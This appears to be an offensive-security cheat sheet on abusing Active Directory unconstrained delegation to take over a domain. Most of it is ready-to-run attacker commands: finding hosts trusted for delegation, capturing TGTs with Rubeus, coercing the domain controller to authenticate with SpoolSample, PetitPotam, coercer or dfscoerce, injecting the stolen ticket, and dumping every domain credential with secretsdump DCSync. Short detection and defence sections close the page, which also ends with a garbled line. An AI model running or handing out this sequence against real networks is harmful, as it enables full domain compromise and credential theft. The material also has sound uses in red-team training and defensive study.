Unconstrained Delegation

Unconstrained delegation is a legacy Active Directory configuration that, when we control the host that has it, lets us steal the TGT of any user who authenticates to it, including a domain controller's. Combined with authentication coercion it is a direct path to domain takeover.

What it is based on. A computer marked as trusted for delegation (the TRUSTED_FOR_DELEGATION flag in userAccountControl) receives, inside the service ticket a user presents to it, a forwardable copy of that user's TGT. The service caches it in memory (LSASS) so it can act on the user's behalf against other services. If we are administrators of that host, we extract those TGT and impersonate their owners.

How it is executed. First we locate the hosts with the flag, then monitor and extract the TGT while forcing an interesting user (the DC) to authenticate with a coercion technique.

Enumerate hosts with unconstrained delegation

Get-DomainComputer -Unconstrained | select name
findDelegation.py -dc-ip <ip> <domain>/<user>:<pass>
netexec ldap <ip> -u <user> -p <pass> --find-delegation

Capture the TGT and coerce

Rubeus.exe monitor /interval:5 /nowrap        :: capture inbound TGTs on the compromised host
SpoolSample.exe <DC> <compromised-host>        :: PrinterBug: force the DC$ to authenticate
Rubeus.exe ptt /ticket:<DC-tgt.kirbi>          :: inject the DC$ TGT

Coercion variants from Linux (any of them forces the DC$ toward the host with the flag):

printerbug.py <domain>/<user>:<pass>@<DC> <compromised-host>
PetitPotam.py -u <user> -p <pass> -d <domain> <compromised-host> <DC>
coercer coerce -u <user> -p <pass> -d <domain> -t <DC> -l <compromised-host>
dfscoerce.py -u <user> -p <pass> -d <domain> <compromised-host> <DC>

Use the DC$ TGT

export KRB5CCNAME=<DC>.ccache
secretsdump.py -k -no-pass <DC> -just-dc            # DCSync with the DC$ ticket

SpoolSample (the PrinterBug) forces the DC$ to connect to our host; its TGT lands in the Rubeus monitor capture. With Pass-the-Ticket we inject the DC$ ticket and can then run DCSync.

Versus constrained. Unlike constrained delegation, there is no list of allowed services here: the host caches the full TGT, so the impact is far larger, which is why Microsoft discourages it.

How to detect it. Watch for creation or change of the TRUSTED_FOR_DELEGATION flag (Event ID 4742, a computer account was changed) on accounts that are not known servers, and for anomalous authentications of a DC machine account to a non-DC host (4624/4768), typical of the preceding coercion. A DC$ requesting or presenting tickets outside its usual pattern is the tell.

Defence. Mark sensitive accounts as "Account is sensitive and cannot be delegated" or add them to Protected Users, minimise hosts with unconstrained delegation (migrate to RBCD or constrained), and disable the Print Spooler on DC to cut off the PrinterBug.

Toolskrbrelayx